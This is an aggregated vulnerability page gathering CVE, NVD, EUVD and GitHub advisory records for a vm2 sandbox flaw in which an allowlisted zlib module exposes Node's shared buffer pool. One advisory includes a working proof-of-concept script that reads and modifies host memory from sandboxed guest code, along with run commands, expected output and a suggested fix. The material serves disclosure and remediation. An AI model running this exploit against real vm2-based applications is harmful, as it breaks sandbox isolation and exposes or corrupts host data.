vm2 before 3.12.2 Memory Disclosure via zlib Buffer Pool

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.

Source published

27 Sep 2026 01:28:30 UTC

Source modified

1 Oct 2026 18:04:57 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N

vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.

Source published

Sep 27, 2026, 1:28:30 AM (timezone not stated)

Source modified

Oct 1, 2026, 6:04:57 PM (timezone not stated)

Observed here

11 Nov 2026 05:27:45 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.

Source published

27 Sep 2026 02:17:19 UTC

Source modified

1 Oct 2026 19:17:16 UTC

Observed here

25 Oct 2026 04:17:26 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N

## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-489w-w794-jq94. This link is maintained to preserve external references. ## Original Description vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.

Source published

27 Sep 2026 03:31:03 UTC

Source modified

5 Oct 2026 23:15:03 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Publisher rating · MODERATE

## Summary When an application explicitly exposes Node's `zlib` module through vm2's `NodeVM` builtin allowlist, an untrusted guest can obtain a pool-backed host `Buffer` from `zlib.deflateSync`, create a full-width view of its backing `ArrayBuffer`, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local `Buffer` control remains exact-size and non-mutating. ## Technical Details `NodeVM` accepts `require: { builtin: ['zlib'] }`. The builtin resolver reaches `addDefaultBuiltin` in `lib/builtin.js`, where the host module is exposed through the generic readonly wrapper. `zlib.deflateSync` returns a Node `Buffer`; for a small result, that buffer can use Node's shared pool, whose `.buffer` is the complete pool rather than only the logical result slice. The guest can therefore call `Buffer.from(result.buffer, 0, result.buffer.byteLength)` and inspect or modify pooled bytes outside `result`. The relevant isolation invariant is that every `Buffer` crossing into the sandbox owns its complete backing store: `byteOffset === 0` and `buffer.byteLength === length`. vm2's `depoolBuffer` implementation applies that rule to sandbox-facing `Buffer` factories, but the generic host-builtin return path does not apply it to the `Buffer` returned by `zlib`. The precondition is an embedder that deliberately allowlists `zlib`; applications that do not expose this builtin are not reached by this proof. ## PoV The guest operation below is the decisive operation. The expected marker is a numeric array in the guest, not a host `Buffer`; the host-side oracle snapshots complete retained buffers as plain arrays before and after the guest call. ```js const zlib = require('zlib'); const result = zlib.deflateSync(Buffer.from('hello')); const view = Buffer.from(result.buffer, 0, result.buffer.byteLength); const markerCodes = Object.freeze([86, 77, 50, 95, 90, 76, 73, 66, 95, 80, 79, 79, 76, 95, 83, 69, 67, 82, 69, 84, 95, 55, 98, 51, 49]); let markerHits = 0; let firstMarker = -1; for (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) { let equal = true; for (let index = 0; index < markerCodes.length; index += 1) { if (view[offset + index] !== markerCodes[index]) { equal = false; break; } } if (equal) { markerHits += 1; if (firstMarker < 0) firstMarker = offset; } } if (firstMarker >= 0) view[firstMarker] ^= 0xff; module.exports = { route: { requireReturned: !!zlib && typeof zlib.deflateSync === 'function', deflateSyncReturnedBuffer: Buffer.isBuffer(result), returnedBufferShape: !!result && !!result.buffer, }, resultLength: result.length, resultBackingLength: result.buffer.byteLength, viewLength: view.length, fullBackingStoreView: view.byteOffset === 0 && view.length === result.buffer.byteLength && view.buffer.byteLength === result.buffer.byteLength, markerHits, firstMarker, }; ``` ## PoC Install the tested package version with Node.js, save the complete reproduction below as `zlib-buffer-isolation-test.js`, and run both modes. The attack and control commands print the JSON shown after the code. ```sh npm install [email protected] node zlib-buffer-isolation-test.js attack hello node zlib-buffer-isolation-test.js control ``` ```js 'use strict'; const { NodeVM } = require('vm2'); const marker = 'VM2_ZLIB_POOL_SECRET_7b31'; const markerCodes = Object.freeze(Array.from(marker, (character) => character.charCodeAt(0))); const retained = []; for (let index = 0; index < 192; index += 1) { const buffer = Buffer.allocUnsafe(64); buffer.fill(0x41); const markerOffset = index % (buffer.length - markerCodes.length + 1); markerCodes.forEach((byte, byteIndex) => { buffer[markerOffset + byteIndex] = byte; }); retained.push({ buffer, markerOffset }); } const snapshot = () => retained.map(({ buffer }) => Array.from(buffer)); const changed = (before, after) => before.some((bytes, index) => bytes.some((byte, byteIndex) => byte !== after[index][byteIndex])); const mode = process.argv[2] || 'attack'; const input = process.argv[3] || 'hello'; const before = snapshot(); const vm = new NodeVM({ require: { builtin: ['zlib'] } }); if (mode === 'control') { const control = vm.run(` const zlib = require('zlib'); const result = zlib.deflateSync(Buffer.from('hello')); const local = Buffer.allocUnsafe(1); const view = Buffer.from(local.buffer, 0, local.buffer.byteLength); module.exports = { route: !!zlib && typeof zlib.deflateSync === 'function' && Buffer.isBuffer(result), exactSize: local.byteOffset === 0 && local.buffer.byteLength === local.length && view.byteOffset === 0 && view.length === local.length && view.buffer.byteLength === local.length, }; `, 'zlib-buffer-case-a.js'); const passed = control.route && control.exactSize && !changed(before, snapshot()); console.log(JSON.stringify({ mode, result: passed ? 'pass' : 'violation' })); } else { const attack = vm.run(` const zlib = require('zlib'); const result = zlib.deflateSync(${JSON.stringify(input)}); const view = Buffer.from(result.buffer, 0, result.buffer.byteLength); const markerCodes = ${JSON.stringify(Array.from(markerCodes))}; let firstMarker = -1; for (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) { if (markerCodes.every((byte, byteIndex) => view[offset + byteIndex] === byte)) { firstMarker = offset; break; } } if (firstMarker >= 0) view[firstMarker] ^= 0xff; module.exports = { route: !!zlib && typeof zlib.deflateSync === 'function' && Buffer.isBuffer(result), fullView: view.byteOffset === 0 && view.length === result.buffer.byteLength && view.buffer.byteLength === result.buffer.byteLength, poolIsWider: result.buffer.byteLength > result.length, markerFound: firstMarker >= 0, }; `, 'zlib-buffer-case-b.js'); const passed = attack.route && attack.fullView && attack.poolIsWider && attack.markerFound && changed(before, snapshot()); console.log(JSON.stringify({ mode, result: passed ? 'violation' : 'pass' })); } ``` ```json {"mode":"attack","result":"violation"} {"mode":"control","result":"pass"} ``` The attack output requires the full backing-store view, a backing store larger than the logical compressed result, a readable marker, and an independently observed change to a retained host buffer. The control requires exact-size sandbox ownership and no retained-buffer change. The demonstration is limited to disclosure and host-memory modification; it does not demonstrate host code execution. The reproduction is tested against vm2 revision `91034466bfb7f56b95fd48083ec6ca36d058f164`; package metadata at that revision identifies vm2 `3.11.8`. ## Impact An affected host application can expose sensitive bytes held in neighboring pooled buffers to untrusted guest code and can have those host buffers corrupted. This crosses the vm2 isolation boundary and compromises confidentiality and integrity for applications that allowlist `zlib`. The demonstrated host-memory disclosure maps to CWE-200, the demonstrated write to unrelated host memory maps to CWE-787, and together those confidentiality and integrity effects support a high severity rating. The issue does not reach applications that do not expose the builtin, and this report makes no claim about versions beyond the tested revision; the proof does not demonstrate host code execution. ## Suggested Fix Before any host-builtin return value is exposed to the guest, apply `depoolBuffer` or an equivalent owned-copy wrapper to every returned `Buffer`. The delivered buffer should satisfy `byteOffset === 0` and `buffer.byteLength === length`; intentionally supported `ArrayBuffer` sharing overloads should remain separately identified so they are not confused with host-created pooled buffers. Add a regression test that allowlists `zlib`, calls `deflateSync`, asserts exact backing-store ownership, and verifies that a full-width view cannot read or change markers in unrelated host buffers. Retain the sandbox-local exact-size control so the regression test also detects a failure in its own oracle. ## Affected Package/Versions - Package: `vm2` from npm. - Tested affected source revision: `91034466bfb7f56b95fd48083ec6ca36d058f164`. - Package metadata at that revision: 3.11.8. - Version scope: the report is limited to the exact tested source revision above; no broader release line or range is established here. - Affected range: only the exact tested revision is asserted; no broader release range is established here. ## Advisory History The public [GHSA-fcqc-726x-5wfc advisory](https://github.com/patriksimek/vm2/security/advisories/GHSA-fcqc-726x-5wfc) documents shared small-buffer-pool exposure through sandbox-facing `Buffer` factories. The checked public fix is commit [`4f2508abeb252aa86eb6761c78b3b000248fb089`](https://github.com/patriksimek/vm2/commit/4f2508abeb252aa86eb6761c78b3b000248fb089), titled `fix(GHSA-fcqc-726x-5wfc): isolate sandbox buffers from Node's shared pool`; its change applies the backing-store ownership rule to those factories, not to the `zlib` host-builtin return path demonstrated here. The exact `GHSA-fcqc-726x-5wfc` commit search also returned [`5214b02ef13b82497fcb917b45320dfd014ffd09`](https://github.com/patriksimek/vm2/commit/5214b02ef13b82497fcb917b45320dfd014ffd09), whose release message is only an automated advisory inventory and is not an independent report of this issue. The current repository search for [`zlib Buffer pool` issues](https://github.com/patriksimek/vm2/issues?q=zlib+Buffer+pool) returned no independent match, and the corresponding [`zlib Buffer pool` pull-request search](https://github.com/patriksimek/vm2/pulls?q=zlib+Buffer+pool) also returned no independent match. Prior submitted, ready-for-review, and completed-but-unsubmitted reports were checked; none covers this zlib host-builtin backing-store path. Its distinct fix surface is the zlib host-builtin return path and the missing backing-store ownership step, separate from sandbox-facing Buffer factories. This finding is therefore distinct in fix surface: `zlib` is the producer, the generic host-builtin return path is the sink, and backing-store ownership is the missing correction. That surface is separate from Buffer-factory hardening, custom resolution, Promise/`Reflect.apply` handling, and process-global FIPS state.

Source published

5 Oct 2026 23:00:46 UTC

Source modified

5 Oct 2026 23:15:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

Publisher rating · MODERATE